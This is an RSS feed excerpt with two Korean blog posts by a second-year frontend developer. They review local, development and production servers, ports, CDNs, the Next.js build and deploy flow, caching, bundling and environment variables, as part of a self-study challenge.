            <link>https://velog.io/@jjang_hyo/Week-1-%EB%B3%B4%EB%84%88%EC%8A%A4-%EB%A1%9C%EC%BB%AC%EA%B0%9C%EB%B0%9C%EC%8B%A4%EC%84%9C%EB%B2%84-%ED%8F%AC%ED%8A%B8-CDN-%EB%82%B4%EA%B0%80-%EC%9D%B4%ED%95%B4%ED%95%9C-%EA%B2%8C-%EB%A7%9E%EB%8A%94%EC%A7%80-%EA%B2%80%EC%A6%9D%ED%95%B4%EB%B4%A4%EB%8B%A4</link>
            <guid>https://velog.io/@jjang_hyo/Week-1-%EB%B3%B4%EB%84%88%EC%8A%A4-%EB%A1%9C%EC%BB%AC%EA%B0%9C%EB%B0%9C%EC%8B%A4%EC%84%9C%EB%B2%84-%ED%8F%AC%ED%8A%B8-CDN-%EB%82%B4%EA%B0%80-%EC%9D%B4%ED%95%B4%ED%95%9C-%EA%B2%8C-%EB%A7%9E%EB%8A%94%EC%A7%80-%EA%B2%80%EC%A6%9D%ED%95%B4%EB%B4%A4%EB%8B%A4</guid>
            <pubDate>Fri, 24 Apr 2026 08:07:51 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지.
Week 1 총정리를 하고 나서, 스스로 정리한 개념이 정확한지 확인하고 싶었다.
&quot;대충 안다&quot;와 &quot;정확히 안다&quot;는 다르니까.
내가 이해한 걸 말로 풀어보고, 틀린 부분을 보완했다.</p>
</blockquote>
<hr>
<h2 id="🖥️-로컬--개발서버--실서버">🖥️ 로컬 / 개발서버 / 실서버</h2>
<h3 id="내가-이해한-것">내가 이해한 것</h3>
<blockquote>
<p>&quot;로컬 개발서버는 내 컴퓨터, 개발서버와 실서버는 회사 서버&quot;</p>
</blockquote>
<p><strong>→ 정답이었다.</strong></p>
<pre><code>[내 컴퓨터 (로컬)]
yarn dev -p 4040
→ localhost:4040
→ 나만 볼 수 있음
→ 인터넷 안 됨 (내 PC 안에서만)

[회사 서버 A (개발 서버)]
yarn devStart -p 5007
→ 개발서버IP:5007
→ 회사 팀원들이 테스트용으로 봄
→ 인터넷으로 접속 가능

[회사 서버 B (실서버)]
yarn start -p 5008
→ 실서버IP:5008 또는 www.회사.com
→ 실제 사용자가 봄
→ 전세계에서 접속 가능</code></pre><h3 id="보완된-점">보완된 점</h3>
<p>개발서버와 실서버가 <strong>물리적으로 같은 컴퓨터</strong>일 수도 있다.</p>
<pre><code>[경우 1] 서버가 2대 (큰 회사)
회사 서버 A → 개발 서버 (5007)
회사 서버 B → 실서버 (5008)

[경우 2] 서버가 1대 (작은 회사)
회사 서버 1대 안에서:
├── 포트 5007 → 개발 서버
└── 포트 5008 → 실서버</code></pre><p>작은 회사는 비용 아끼려고 <strong>한 대 서버에서 포트만 나눠서</strong> 돌리는 경우가 많다.
내 프로젝트의 scripts에 5007, 5008이 나뉘어있는 게 바로 이 패턴이다.</p>
<hr>
<h2 id="🔌-포트-port">🔌 포트 (Port)</h2>
<h3 id="내가-이해한-것-1">내가 이해한 것</h3>
<blockquote>
<p>&quot;포트는 한 아이피주소(서버)에 각 공간을 말하는건가?&quot;</p>
</blockquote>
<p><strong>→ 방향은 맞았지만 표현을 더 정확하게 보완했다.</strong></p>
<blockquote>
<p><strong>포트 = 하나의 서버(IP) 안에서 프로그램을 구분하는 번호</strong></p>
</blockquote>
<h3 id="아파트-비유">아파트 비유</h3>
<pre><code>IP 주소 = 아파트 건물 주소 (서울시 강남구 XX아파트)
포트    = 호수 (101호, 102호, 103호...)</code></pre><pre><code>[서버 IP: 123.456.789.10]

포트 5007 → 101호 → 개발용 Next.js 앱
포트 5008 → 102호 → 실서버용 Next.js 앱
포트 3306 → 103호 → MySQL (데이터베이스)
포트 80   → 104호 → Nginx (웹서버)</code></pre><p>같은 건물(서버)인데 호수(포트)가 다르면 다른 집(프로그램)이다.</p>
<h3 id="주소-읽는-법">주소 읽는 법</h3>
<pre><code>http://123.456.789.10:5007
       ─────────────  ────
       아파트 주소       호수
       (IP)            (포트)</code></pre><h3 id="자주-쓰는-포트-번호">자주 쓰는 포트 번호</h3>
<table>
<thead>
<tr>
<th>포트</th>
<th>용도</th>
</tr>
</thead>
<tbody><tr>
<td><strong>80</strong></td>
<td>HTTP (웹사이트 기본)</td>
</tr>
<tr>
<td><strong>443</strong></td>
<td>HTTPS (보안 웹사이트)</td>
</tr>
<tr>
<td><strong>3000</strong></td>
<td>React/Next.js 개발 서버 기본값</td>
</tr>
<tr>
<td><strong>3306</strong></td>
<td>MySQL</td>
</tr>
<tr>
<td><strong>5432</strong></td>
<td>PostgreSQL</td>
</tr>
<tr>
<td><strong>22</strong></td>
<td>SSH (서버 접속)</td>
</tr>
</tbody></table>
<h3 id="왜-wwwgooglecom-에는-포트가-없을까">왜 <a href="http://www.google.com">www.google.com</a> 에는 포트가 없을까?</h3>
<pre><code>http://  → 기본 포트 80 (생략됨)
https:// → 기본 포트 443 (생략됨)

https://www.google.com
= https://www.google.com:443</code></pre><p>80번과 443번은 <strong>너무 자주 쓰이니까 생략이 가능</strong>한 것이다.
우리가 포트를 직접 쓰는 건 기본 포트가 아닌 경우 (5007, 5008 같은 것).</p>
<hr>
<h2 id="🌐-cdn-content-delivery-network">🌐 CDN (Content Delivery Network)</h2>
<h3 id="내가-이해한-것-2">내가 이해한 것</h3>
<blockquote>
<p>&quot;CDN은 코드를 위치상관없이 빠르게 전달하기위해 각 나라어디에나 저장해두고 빠르게 옮겨주는 저장소인가?&quot;</p>
</blockquote>
<p><strong>→ 거의 맞았지만 두 가지를 보완했다.</strong></p>
<h3 id="보완-1-코드가-아니라-파일콘텐츠">보완 1: &quot;코드&quot;가 아니라 &quot;파일(콘텐츠)&quot;</h3>
<pre><code>CDN이 전달하는 것:
✅ JS 파일
✅ CSS 파일
✅ 이미지
✅ 동영상
✅ 폰트
✅ HTML</code></pre><p>&quot;코드&quot;만이 아니라 <strong>사용자에게 전달되는 모든 파일</strong>.
그래서 이름이 <strong>Content</strong> Delivery Network이다.</p>
<h3 id="보완-2-저장소가-아니라-서버-네트워크">보완 2: &quot;저장소&quot;가 아니라 &quot;서버 네트워크&quot;</h3>
<pre><code>S3         = 창고 (저장소)
CDN        = 전국 택배 허브 네트워크 (전달망)
S3 + CDN   = 창고에서 꺼내서 전국 허브로 배포</code></pre><p>저장소는 S3 같은 거고, CDN은 <strong>전달에 특화된 서버 여러 대의 네트워크</strong>.</p>
<h3 id="수정된-정의">수정된 정의</h3>
<blockquote>
<p>&quot;CDN은 <strong>파일(콘텐츠)을</strong> 위치 상관없이 빠르게 전달하기 위해 각 나라 어디에나 저장해두고 빠르게 <strong>전송해주는 서버 네트워크</strong>&quot;</p>
</blockquote>
<hr>
<h2 id="🎯-세-개념-한-문장-정리">🎯 세 개념 한 문장 정리</h2>
<table>
<thead>
<tr>
<th>개념</th>
<th>한 문장 정의</th>
</tr>
</thead>
<tbody><tr>
<td><strong>로컬/개발/실서버</strong></td>
<td>로컬은 내 PC, 개발·실서버는 회사 서버 (같은 서버에서 포트로 분리할 수도 있음)</td>
</tr>
<tr>
<td><strong>포트</strong></td>
<td>하나의 서버(IP) 안에서 프로그램을 구분하는 번호 (아파트의 호수)</td>
</tr>
<tr>
<td><strong>CDN</strong></td>
<td>파일을 전세계 서버에 복사해두고 가장 가까운 곳에서 전송하는 네트워크</td>
</tr>
</tbody></table>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>Week 1을 끝내고 나서 &quot;나 이거 진짜 이해한 거 맞나?&quot; 싶어서
배운 개념들을 내 말로 정리해봤다.</p>
<p>결과적으로 <strong>큰 틀은 맞았지만 표현이 부정확한 부분</strong>이 있었다.</p>
<pre><code>&quot;공간&quot; → &quot;프로그램을 구분하는 번호&quot;
&quot;코드&quot; → &quot;파일(콘텐츠)&quot;
&quot;저장소&quot; → &quot;서버 네트워크&quot;</code></pre><p>이런 미세한 차이가 면접에서는 크게 작용한다.
&quot;대충 아는 사람&quot;과 &quot;정확히 아는 사람&quot;의 차이가 바로 이런 표현에서 드러나기 때문이다.</p>
<p>앞으로도 배운 것을 <strong>내 말로 정리하고, 틀린 부분을 보완하는 습관</strong>을 계속 가져가야겠다.</p>
<hr>
<p>#프론트엔드 #서버 #포트 #CDN #로컬서버 #개발서버 #실서버 #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Week 1 총정리] 프론트엔드 개발자가 놓치고 있던 빌드·배포의 모든 것]]></title>
            <link>https://velog.io/@jjang_hyo/Week-1-%EC%B4%9D%EC%A0%95%EB%A6%AC-%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EA%B0%9C%EB%B0%9C%EC%9E%90%EA%B0%80-%EB%86%93%EC%B9%98%EA%B3%A0-%EC%9E%88%EB%8D%98-%EB%B9%8C%EB%93%9C%EB%B0%B0%ED%8F%AC%EC%9D%98-%EB%AA%A8%EB%93%A0-%EA%B2%83</link>
            <guid>https://velog.io/@jjang_hyo/Week-1-%EC%B4%9D%EC%A0%95%EB%A6%AC-%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EA%B0%9C%EB%B0%9C%EC%9E%90%EA%B0%80-%EB%86%93%EC%B9%98%EA%B3%A0-%EC%9E%88%EB%8D%98-%EB%B9%8C%EB%93%9C%EB%B0%B0%ED%8F%AC%EC%9D%98-%EB%AA%A8%EB%93%A0-%EA%B2%83</guid>
            <pubDate>Fri, 24 Apr 2026 08:00:21 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지, Week 1이 끝났다.
5일 동안 <strong>&quot;내 코드가 어떻게 사용자 화면까지 도달하는가?&quot;</strong> 라는 하나의 질문을 파헤쳤다.
이 글은 Day 1~5에서 배운 모든 것을 하나의 흐름으로 정리한 Week 1 회고 포스팅이다.</p>
</blockquote>
<hr>
<h2 id="📍-week-1-핵심-질문">📍 Week 1 핵심 질문</h2>
<blockquote>
<p><strong>&quot;내가 VSCode에서 쓴 코드가, 어떻게 사용자 브라우저에서 실행되는가?&quot;</strong></p>
</blockquote>
<p>이 질문 하나를 풀기 위해 5일이 걸렸다. 그리고 5일 뒤, 전체 그림이 보이기 시작했다.</p>
<hr>
<h2 id="🗺️-전체-흐름-한눈에-보기">🗺️ 전체 흐름 한눈에 보기</h2>
<pre><code>[Day 1] 개발 → 빌드 → 배포 (3단계)
   ↓
[Day 2] 빌드하면 무슨 일이? (컴파일, 번들링, 최적화, 정적 생성)
   ↓
[Day 3] 브라우저가 파일을 받는 과정 (Network 탭, 캐시, CDN)
   ↓
[Day 4] 왜 번들링이 필요한가? (Webpack, Vite, Tree Shaking)
   ↓
[Day 5] 개발 서버와 프로덕션 서버는 뭐가 다른가? (HMR, 소스맵, 환경변수)</code></pre><hr>
<h2 id="📖-day-1-개발-→-빌드-→-배포">📖 Day 1. 개발 → 빌드 → 배포</h2>
<h3 id="배운-것">배운 것</h3>
<p>코드가 사용자에게 도달하는 과정은 3단계로 나뉜다.</p>
<pre><code>1단계: 개발 (Development)
→ VSCode에서 코드를 짜고 yarn dev로 확인하는 단계

2단계: 빌드 (Build)
→ yarn build로 코드를 최적화된 결과물로 변환하는 단계

3단계: 배포 (Deploy)
→ 빌드된 결과물을 서버에 올려서 사용자가 접속할 수 있게 하는 단계</code></pre><h3 id="내-프로젝트-scripts-해부">내 프로젝트 scripts 해부</h3>
<pre><code class="language-json">&quot;dev&quot;: &quot;next dev -p 4040&quot;       → 로컬 개발용
&quot;build&quot;: &quot;next build&quot;            → 배포 준비 (빌드)
&quot;start&quot;: &quot;next start -p 5008&quot;   → 실서버 실행
&quot;devStart&quot;: &quot;next start -p 5007&quot; → 개발 서버 실행</code></pre>
<h3 id="env는-서버에서-관리한다">.env는 서버에서 관리한다</h3>
<ul>
<li><code>.env</code>는 보안 때문에 git에 올리지 않는다</li>
<li>SSH로 서버에 접속해서 직접 <code>.env</code> 파일을 생성한다</li>
<li><code>.env</code>는 서버에 한 번 설치한 가구 같은 것. 매번 새로 만들 필요 없다</li>
</ul>
<hr>
<h2 id="📖-day-2-yarn-build가-하는-4가지-일">📖 Day 2. yarn build가 하는 4가지 일</h2>
<h3 id="배운-것-1">배운 것</h3>
<p><code>yarn build</code>는 단순히 &quot;파일 만드는 것&quot;이 아니라 <strong>4가지 변환 과정</strong>을 거친다.</p>
<pre><code>1. 컴파일 (Compile)
   → TypeScript/JSX를 브라우저가 읽을 수 있는 JavaScript로 번역

2. 번들링 (Bundling)
   → 수백 개 파일을 몇 개로 합침

3. 최적화 (Minify)
   → 코드 압축, 변수명 단축, 공백 제거 → 파일 크기 5배 이상 감소

4. 정적 생성 (Static Generation)
   → HTML을 미리 만들어둠 → 접속 시 즉시 전송</code></pre><h3 id="next-폴더-핵심">.next 폴더 핵심</h3>
<pre><code>.next/static/chunks/  → 번들링·압축된 JS 파일들
.next/server/pages/   → 미리 생성된 HTML 파일들</code></pre><p>내가 쓴 <code>.tsx</code> 파일은 빌드 후 <code>.next</code> 폴더에 <strong>하나도 없다.</strong>
번역되고, 합쳐지고, 압축되어서 전혀 다른 파일이 된다.</p>
<h3 id="핵심-규칙">핵심 규칙</h3>
<p><strong><code>yarn build</code> 다음에 <code>yarn start</code></strong>. 순서가 바뀌면 에러난다.
<code>.next</code> 폴더(빌드 결과물)가 있어야 <code>start</code>가 실행할 수 있기 때문이다.</p>
<hr>
<h2 id="📖-day-3-브라우저가-실제로-받는-파일은">📖 Day 3. 브라우저가 실제로 받는 파일은?</h2>
<h3 id="배운-것-2">배운 것</h3>
<p>Chrome DevTools의 <strong>Network 탭</strong>을 열면 브라우저와 서버 사이에서 오가는 모든 파일을 관찰할 수 있다.</p>
<h3 id="network-탭-주요-컬럼">Network 탭 주요 컬럼</h3>
<table>
<thead>
<tr>
<th>컬럼</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td>Name</td>
<td>파일 이름</td>
</tr>
<tr>
<td>Status</td>
<td>200(성공), 304(캐시), 404(없음), 500(서버 에러)</td>
</tr>
<tr>
<td>Type</td>
<td>document(HTML), script(JS), stylesheet(CSS), img 등</td>
</tr>
<tr>
<td>Size</td>
<td>파일 크기</td>
</tr>
<tr>
<td>Time</td>
<td>로딩 시간</td>
</tr>
</tbody></table>
<h3 id="캐싱의-원리">캐싱의 원리</h3>
<p>브라우저가 한 번 받은 파일을 저장해두고 <strong>재사용</strong>하는 것.
파일 이름 뒤에 붙은 해시값(<code>main-abc123.js</code>)이 바뀌면 새 파일로 인식해서 다시 받는다.</p>
<h3 id="캐시-vs-스토리지--완전히-다른-개념">캐시 vs 스토리지 — 완전히 다른 개념</h3>
<table>
<thead>
<tr>
<th>이름</th>
<th>저장 주체</th>
<th>목적</th>
<th>수명</th>
</tr>
</thead>
<tbody><tr>
<td><strong>캐시</strong></td>
<td>브라우저 (자동)</td>
<td>속도 향상</td>
<td>설정된 기간</td>
</tr>
<tr>
<td><strong>로컬스토리지</strong></td>
<td>개발자 (수동)</td>
<td>영구 보관</td>
<td>영구</td>
</tr>
<tr>
<td><strong>세션스토리지</strong></td>
<td>개발자 (수동)</td>
<td>탭 닫을 때까지</td>
<td>탭 닫으면 삭제</td>
</tr>
<tr>
<td><strong>상태관리</strong></td>
<td>개발자 (수동)</td>
<td>앱 실행 중 공유</td>
<td>새로고침 시 삭제</td>
</tr>
</tbody></table>
<p>캐시는 &quot;속도를 위한 자동 저장&quot;, 나머지는 &quot;기능을 위한 수동 저장&quot;.</p>
<h3 id="cdn--전세계에-분산된-서버-네트워크">CDN = 전세계에 분산된 서버 네트워크</h3>
<p>본사 서버의 파일을 전세계 수백 개 서버(엣지)에 복사해두고,
사용자는 가장 가까운 엣지에서 파일을 받는다. → 속도 10배 향상</p>
<p><strong>S3(저장소) + CloudFront(CDN)</strong> 조합이 이미지 관리의 황금 조합.</p>
<h3 id="이미지-저장-위치-판단-기준">이미지 저장 위치 판단 기준</h3>
<pre><code>&quot;코드 수정 없이 바뀌는 이미지인가?&quot;
→ YES (사용자/관리자가 업로드) → S3 + CDN
→ NO  (로고, 아이콘 등)       → 코드에 포함</code></pre><hr>
<h2 id="📖-day-4-왜-번들링이-필요한가">📖 Day 4. 왜 번들링이 필요한가?</h2>
<h3 id="배운-것-3">배운 것</h3>
<p>번들링 없이 파일 100개를 그대로 배포하면 <strong>브라우저가 100번 요청</strong>해야 한다.
번들링하면 3~4개로 합쳐져서 <strong>4번만 요청</strong>하면 된다.</p>
<h3 id="번들러-비교">번들러 비교</h3>
<table>
<thead>
<tr>
<th>구분</th>
<th>Webpack</th>
<th>Vite</th>
<th>esbuild</th>
</tr>
</thead>
<tbody><tr>
<td>속도</td>
<td>느림</td>
<td>빠름</td>
<td>미친듯이 빠름</td>
</tr>
<tr>
<td>설정</td>
<td>복잡</td>
<td>간단</td>
<td>매우 간단</td>
</tr>
<tr>
<td>특징</td>
<td>만능, Next.js 기본</td>
<td>개발 서버 특화</td>
<td>Vite 내부 엔진</td>
</tr>
</tbody></table>
<h3 id="tree-shaking">Tree Shaking</h3>
<p>안 쓰는 코드를 자동으로 삭제하는 기능.</p>
<pre><code class="language-javascript">// ❌ lodash 함수 300개 전부 포함 → 70 KB
import _ from &#39;lodash&#39;

// ✅ debounce만 포함 → 3 KB
import { debounce } from &#39;lodash&#39;</code></pre>
<p><strong>named import</strong>를 써야 Tree Shaking이 작동한다.</p>
<h3 id="번들-사이즈가-크면">번들 사이즈가 크면?</h3>
<p>빌드 속도가 아니라 <strong>사용자 로딩이 느려진다.</strong></p>
<pre><code>번들 사이즈 크면 → 다운로드 느려짐 + 파싱 느려짐 + 실행 느려짐
→ 3단계 전부 느려져서 사용자 로딩 길어짐</code></pre><h3 id="네트워크란">네트워크란?</h3>
<p>브라우저 동작 전체가 아니라, <strong>컴퓨터끼리 데이터를 주고받는 통로.</strong>
Network 탭은 그 통로에서 오간 기록을 보는 도구.</p>
<hr>
<h2 id="📖-day-5-개발-서버-vs-프로덕션-서버">📖 Day 5. 개발 서버 vs 프로덕션 서버</h2>
<h3 id="배운-것-4">배운 것</h3>
<p><code>yarn dev</code>(리허설)와 <code>yarn start</code>(본 공연)는 <strong>6가지가 다르다.</strong></p>
<table>
<thead>
<tr>
<th>항목</th>
<th>yarn dev</th>
<th>yarn start</th>
</tr>
</thead>
<tbody><tr>
<td><strong>HMR</strong></td>
<td>✅ 저장하면 즉시 반영</td>
<td>❌ 재빌드 필요</td>
</tr>
<tr>
<td><strong>에러 표시</strong></td>
<td>상세한 빨간 오버레이</td>
<td>간단한 에러 페이지</td>
</tr>
<tr>
<td><strong>소스맵</strong></td>
<td>✅ 자동 생성</td>
<td>❌ 기본 없음 (보안)</td>
</tr>
<tr>
<td><strong>처리 방식</strong></td>
<td>실시간 컴파일 (느림)</td>
<td>미리 빌드된 파일 (빠름)</td>
</tr>
<tr>
<td><strong>최적화</strong></td>
<td>❌ 안 함 (2.5MB)</td>
<td>✅ 최대 (250KB)</td>
</tr>
<tr>
<td><strong>환경변수</strong></td>
<td>.env.development</td>
<td>.env.production</td>
</tr>
</tbody></table>
<h3 id="hmr-hot-module-replacement">HMR (Hot Module Replacement)</h3>
<p>코드 저장하면 브라우저가 자동으로 바뀐 부분만 교체하는 기능.
로그인 상태, 폼 입력값도 유지된다. dev에만 있다.</p>
<h3 id="소스맵-source-map">소스맵 (Source Map)</h3>
<p>압축된 코드와 원본 코드를 연결하는 &quot;암호 해독표&quot;.
실서버에 공개하면 해커가 코드 구조를 파악할 수 있어서 비공개 유지.</p>
<h3 id="환경변수-우선순위">환경변수 우선순위</h3>
<pre><code>yarn dev   → .env.local → .env.development → .env
yarn start → .env.local → .env.production  → .env</code></pre><p>dev에서 되는데 start에서 API 안 되면? → <code>.env.production</code>에 값이 없거나 잘못된 것.</p>
<hr>
<h2 id="🧠-week-1에서-가장-중요한-깨달음-5가지">🧠 Week 1에서 가장 중요한 깨달음 5가지</h2>
<h3 id="1-내가-쓴-코드와-사용자가-받는-코드는-다르다">1. 내가 쓴 코드와 사용자가 받는 코드는 다르다</h3>
<p><code>.tsx</code> 파일은 빌드 후 컴파일 → 번들링 → 압축되어서 전혀 다른 <code>.js</code> 파일이 된다.
사용자는 내 원본 코드를 절대 볼 수 없다.</p>
<h3 id="2-모든-최적화는-사용자에게-빠르게-전달을-위한-것">2. 모든 최적화는 &quot;사용자에게 빠르게 전달&quot;을 위한 것</h3>
<p>번들링, 압축, 캐시, CDN, 정적 생성 — 전부 목적이 같다.
<strong>사용자가 기다리는 시간을 줄이는 것.</strong></p>
<h3 id="3-같은-코드가-환경마다-다르게-동작한다">3. 같은 코드가 환경마다 다르게 동작한다</h3>
<p><code>.env</code> 파일이 환경마다 다르기 때문이다.
로컬, 개발 서버, 실서버가 같은 코드를 쓰지만 API 주소, 설정 값은 다르다.</p>
<h3 id="4-개발-편의성과-사용자-성능은-트레이드오프">4. 개발 편의성과 사용자 성능은 트레이드오프</h3>
<p><code>yarn dev</code>는 개발자 편의를 위해 최적화를 포기하고,
<code>yarn start</code>는 사용자 성능을 위해 개발 편의를 포기한다.
둘 다 만족시킬 수는 없다.</p>
<h3 id="5-모든-개념은-연결되어-있다">5. 모든 개념은 연결되어 있다</h3>
<p>환경변수 → 빌드 → 번들링 → 캐시 → CDN → 소스맵.
하나하나 따로 외우는 게 아니라, 전체 흐름 안에서 각자 역할이 있다.</p>
<hr>
<h2 id="🔗-day-15-연결-지도">🔗 Day 1~5 연결 지도</h2>
<pre><code>[코드 작성]
    │
    ▼
[Day 1] yarn dev (localhost:4040에서 개발)
    │
    ▼
[Day 2] yarn build (컴파일 → 번들링 → 최적화 → 정적 생성)
    │                            │
    │                     [Day 4] 번들링이 없으면
    │                            요청 50번 → 있으면 4번
    │                            Tree Shaking으로 코드 경량화
    ▼
[Day 1] yarn start / devStart (서버에서 실행)
    │     │
    │     └─── [Day 5] dev와 start는 6가지가 다름
    │                  HMR, 소스맵, 최적화, 환경변수 등
    ▼
[Day 3] 브라우저가 파일 수신
    │     │
    │     ├── Network 탭으로 관찰
    │     ├── 캐시로 속도 향상 (해시로 캐시 무효화)
    │     └── CDN으로 전세계 빠른 전송
    ▼
[사용자가 화면을 본다]</code></pre><hr>
<h2 id="📊-5일-전-vs-지금">📊 5일 전 vs 지금</h2>
<table>
<thead>
<tr>
<th>5일 전</th>
<th>지금</th>
</tr>
</thead>
<tbody><tr>
<td>&quot;빌드가 뭐야?&quot;</td>
<td>빌드의 4단계를 설명할 수 있다</td>
</tr>
<tr>
<td>&quot;포트가 뭐야?&quot;</td>
<td>4040/5007/5008 역할을 안다</td>
</tr>
<tr>
<td>&quot;.env가 뭐야?&quot;</td>
<td>환경별 분리 + 보안 이유를 안다</td>
</tr>
<tr>
<td>&quot;캐시가 뭐야?&quot;</td>
<td>캐시/스토리지 차이를 설명 가능</td>
</tr>
<tr>
<td>&quot;CDN이 뭐야?&quot;</td>
<td>S3+CloudFront 조합을 이해한다</td>
</tr>
<tr>
<td>&quot;번들링이 뭐야?&quot;</td>
<td>Tree Shaking까지 설명 가능</td>
</tr>
<tr>
<td>&quot;dev랑 start 차이?&quot;</td>
<td>6가지 차이를 설명 가능</td>
</tr>
</tbody></table>
<hr>
<h2 id="💭-week-1-회고">💭 Week 1 회고</h2>
<p>1주일 전만 해도 &quot;포트가 뭐야?&quot;, &quot;빌드가 뭐야?&quot; 수준이었다.</p>
<p>지금은 &quot;dev에서는 되는데 start에서 API가 안 돼요&quot;라는 문제를 들으면
<strong>&quot;.env.production에 API URL이 없거나 잘못된 거 아닌가?&quot;</strong> 라고 추측할 수 있다.</p>
<p>가장 큰 변화는 <strong>질문하는 방식</strong>이 달라진 것이다.</p>
<pre><code>Before: &quot;이거 뭐야?&quot; (답 달라)
After:  &quot;이건 이런 거 같은데 맞아?&quot; (내 이해를 검증)</code></pre><p>단순히 지식을 외운 게 아니라, <strong>전체 흐름 안에서 각 개념의 역할</strong>을 이해했다.
&quot;빌드가 뭐야?&quot;에서 &quot;왜 build와 start를 분리했을까?&quot;로 넘어갈 수 있게 됐다.</p>
<p>이런 변화가 겨우 5일 만에 일어났다.
지속하면 3개월 뒤엔 정말 다른 개발자가 되어 있을 것 같다.</p>
<hr>
<h2 id="📚-다음-주-예고">📚 다음 주 예고</h2>
<p>Week 2에서는 <strong>&quot;변환된 코드가 어디서 어떻게 돌아가는가&quot;</strong> 를 배운다.</p>
<pre><code>Day 6:  서버란 무엇인가? (AWS, Vercel, 자체 서버)
Day 7:  SSH란? 서버 접속 해보기
Day 8:  pm2 / 프로세스 매니저 개념
Day 9:  Nginx란? 리버스 프록시 개념
Day 10: 로그 확인하기</code></pre><p>지금까지 &quot;내 코드가 어떻게 변환되는가&quot;를 배웠다면,
이제 &quot;변환된 코드가 어디서 돌아가는가&quot;를 배운다.
백엔드 개발자가 하는 일을 이해할 수 있게 되는 주간이다.</p>
<p>Week 2에서도 계속 기록하겠다. 화이팅!</p>
<hr>
<p>#프론트엔드 #빌드 #배포 #번들링 #캐시 #CDN #HMR #소스맵 #환경변수 #Webpack #Vite #TreeShaking #2년차개발자 #기초다시쌓기 #Week1회고</p>
]]></description>
        </item>
    </channel>
</rss>